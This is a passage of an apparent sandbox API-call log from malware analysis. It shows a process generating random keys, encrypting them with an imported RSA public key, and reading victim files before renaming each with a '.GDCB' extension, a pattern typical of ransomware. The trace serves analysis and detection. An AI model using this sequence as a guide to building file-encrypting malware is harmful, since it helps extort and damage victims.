(hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.733] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.735] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1c10) returned 1 [0206.735] CryptGetKeyParam (in: hKey=0x50d1c10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.735] CryptEncrypt (in: hKey=0x50d1c10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.735] GetLastError () returned 0x0 [0206.735] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.736] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0206.737] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1c50) returned 1 [0206.737] CryptGetKeyParam (in: hKey=0x50d1c50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.737] CryptEncrypt (in: hKey=0x50d1c50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.738] GetLastError () returned 0x0 [0206.738] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.738] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1605653898\\4275773285.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.739] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.741] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.742] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x16fe0, lpOverlapped=0x0) returned 1 [0206.750] VirtualAlloc (lpAddress=0x0, dwSize=0x16fe0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.757] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1605653898\\4275773285.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1605653898\\4275773285.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1605653898\\4275773285.pri.gdcb")) returned 1 [0206.763] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.766] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.766] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.766] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.766] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.767] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.768] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.768] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.768] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.769] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.771] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d19d0) returned 1 [0206.771] CryptGetKeyParam (in: hKey=0x50d19d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.771] CryptEncrypt (in: hKey=0x50d19d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.771] GetLastError () returned 0x0 [0206.771] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.771] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.773] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1b10) returned 1 [0206.773] CryptGetKeyParam (in: hKey=0x50d1b10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.773] CryptEncrypt (in: hKey=0x50d1b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.774] GetLastError () returned 0x0 [0206.774] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.774] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1978304864\\923683402.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1978304864\\923683402.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.775] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.777] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.778] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0xc40, lpOverlapped=0x0) returned 1 [0206.786] VirtualAlloc (lpAddress=0x0, dwSize=0xc40, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.790] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1978304864\\923683402.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1978304864\\923683402.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1978304864\\923683402.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1978304864\\923683402.pri.gdcb")) returned 1 [0206.796] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.798] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.799] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.799] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.799] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.799] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0206.800] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.801] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.801] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.801] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.801] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.803] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1ed0) returned 1 [0206.803] CryptGetKeyParam (in: hKey=0x50d1ed0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.804] CryptEncrypt (in: hKey=0x50d1ed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.804] GetLastError () returned 0x0 [0206.804] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.804] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.806] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1b50) returned 1 [0206.806] CryptGetKeyParam (in: hKey=0x50d1b50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.806] CryptEncrypt (in: hKey=0x50d1b50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.806] GetLastError () returned 0x0 [0206.806] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.806] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2107319684\\2467780804.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2107319684\\2467780804.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.807] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.809] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.810] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x24e0, lpOverlapped=0x0) returned 1 [0206.818] VirtualAlloc (lpAddress=0x0, dwSize=0x24e0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.823] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2107319684\\2467780804.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2107319684\\2467780804.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2107319684\\2467780804.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2107319684\\2467780804.pri.gdcb")) returned 1 [0206.830] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.831] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.832] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.832] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.832] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.832] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.834] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.835] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.835] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.835] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.835] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0206.837] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1f90) returned 1 [0206.837] CryptGetKeyParam (in: hKey=0x50d1f90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.837] CryptEncrypt (in: hKey=0x50d1f90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.837] GetLastError () returned 0x0 [0206.837] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.837] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.839] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1cd0) returned 1 [0206.839] CryptGetKeyParam (in: hKey=0x50d1cd0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.839] CryptEncrypt (in: hKey=0x50d1cd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.839] GetLastError () returned 0x0 [0206.839] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.839] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\226732975\\2698495915.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\226732975\\2698495915.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.841] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.842] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.843] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x920, lpOverlapped=0x0) returned 1 [0206.852] VirtualAlloc (lpAddress=0x0, dwSize=0x920, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.856] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\226732975\\2698495915.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\226732975\\2698495915.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\226732975\\2698495915.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\226732975\\2698495915.pri.gdcb")) returned 1 [0206.863] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0206.865] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.866] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.866] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.866] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.866] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.868] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.868] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.868] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.870] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1e50) returned 1 [0206.871] CryptGetKeyParam (in: hKey=0x50d1e50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.871] CryptEncrypt (in: hKey=0x50d1e50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.871] GetLastError () returned 0x0 [0206.871] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.871] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.873] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1f10) returned 1 [0206.873] CryptGetKeyParam (in: hKey=0x50d1f10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.873] CryptEncrypt (in: hKey=0x50d1f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.873] GetLastError () returned 0x0 [0206.873] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.873] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2570292521\\231755001.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2570292521\\231755001.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.875] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.876] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.877] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x960, lpOverlapped=0x0) returned 1 [0206.886] VirtualAlloc (lpAddress=0x0, dwSize=0x960, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.890] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2570292521\\231755001.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2570292521\\231755001.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2570292521\\231755001.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2570292521\\231755001.pri.gdcb")) returned 1 [0206.898] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.901] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.901] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.901] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.901] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0206.902] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.903] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.903] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.903] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.905] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1fd0) returned 1 [0206.905] CryptGetKeyParam (in: hKey=0x50d1fd0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.905] CryptEncrypt (in: hKey=0x50d1fd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.905] GetLastError () returned 0x0 [0206.905] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.905] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.907] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, 